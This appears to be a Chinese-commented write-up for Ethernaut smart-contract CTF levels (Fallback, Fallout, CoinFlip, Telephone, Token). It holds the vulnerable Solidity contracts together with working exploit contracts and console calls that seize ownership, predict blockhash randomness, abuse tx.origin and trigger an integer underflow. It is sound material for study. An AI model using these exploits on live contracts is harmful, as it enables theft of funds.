pragma solidity ^0.4.18;contract Fallback{using SafeMath for uint256;mapping(address => uint) public contributions;//构造函数,给创造者1000个eth的代币function Fallback() public {contributions[msg.sender] = 1000 * (1 ether);}//每次转账只能小于0.001个eth,转多少个eth,就增加同额度的代币,代币最多的人合约所有权function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] = contributions[msg.sender].add(msg.value);if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}}//获取代币的余额function getContribution() public view returns (uint) {return contributions[msg.sender];}//取走ETHfunction withdraw() public onlyOwner {owner.transfer(this.balance);}//fallback函数，用于接收用户向合约发送的代币,如果转入的金额和代币的金额不等于0,将获得合约所有权function() payable public {require(msg.value > 0 && contributions[msg.sender] > 0);owner = msg.sender;}
}

contract.contribute({value:1})//调用合约中contribute函数,转账,增加一个代币
contract.sendTransaction({value:1}) //触发fallback函数
contract.owner() 查看合约所有者

contract.withdraw() //调用函数取款

pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Fallout is Ownable {using SafeMath for uint256;mapping (address => uint) allocations;//Fal1out中的中的第二个l,实际上是一,所以并不是析构函数,可以直接调用function Fal1out() public payable {owner = msg.sender;allocations[owner] = msg.value;}//接受转账函数,增加同等代币function allocate() public payable {allocations[msg.sender] = allocations[msg.sender].add(msg.value);}//转账函数,往地址转代币function sendAllocation(address allocator) public {require(allocations[allocator] > 0);allocator.transfer(allocations[allocator]);}//取款function collectAllocations() public onlyOwner {msg.sender.transfer(this.balance);}//查询代币余额function allocatorBalance(address allocator) public view returns (uint) {return allocations[allocator];}
}

contract.Fal1out()

pragma solidity ^0.4.18;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract CoinFlip {using SafeMath for uint256;uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;//构造函数,设置猜对次数为0function CoinFlip() public {consecutiveWins = 0;}//获取上一个区块的hash,blockValue/FACTR,得到1或者0,然后和我们猜测的结果进行比较,如果猜对了,consecutiveWins+1,如果错了consecutiveWins清零function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}
}

pragma solidity ^0.4.18;contract CoinFlip {uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;function CoinFlip() public {consecutiveWins = 0;}function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(block.blockhash(block.number-1));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}
}contract exp {CoinFlip fliphack;address target = 这里是靶机合约的地址;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;function exp() {fliphack = CoinFlip(target);}function pre_result() public view returns (bool){uint256 blockValue = uint256(block.blockhash(block.number-1));uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);return coinFlip == 1 ? true : false;}function hack() public {bool guess = pre_result();fliphack.flip(guess);}
}

pragma solidity ^0.4.18;contract Telephone {address public owner;function Telephone() public {owner = msg.sender;}function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}
}

pragma solidity ^0.4.18;contract Telephone {address public owner;function Telephone() public {owner = msg.sender;}function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}
}contract exp{Telephone expTelephone;function exp() public{expTelephone = Telephone(合约的地址);expTelephone.changeOwner(你的钱包的地址);}
}

pragma solidity ^0.4.18;contract Token {mapping(address => uint) balances;uint public totalSupply;function Token(uint _initialSupply) public {balances[msg.sender] = totalSupply = _initialSupply;}//转账函数function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;balances[_to] += _value;return true;}//查询代币余额function balanceOf(address _owner) public view returns (uint balance) {return balances[_owner];}
}

contract.transfer(0x80C2d71F2Ac4E53F6ddD25b25c57ecB48Ac73857,21)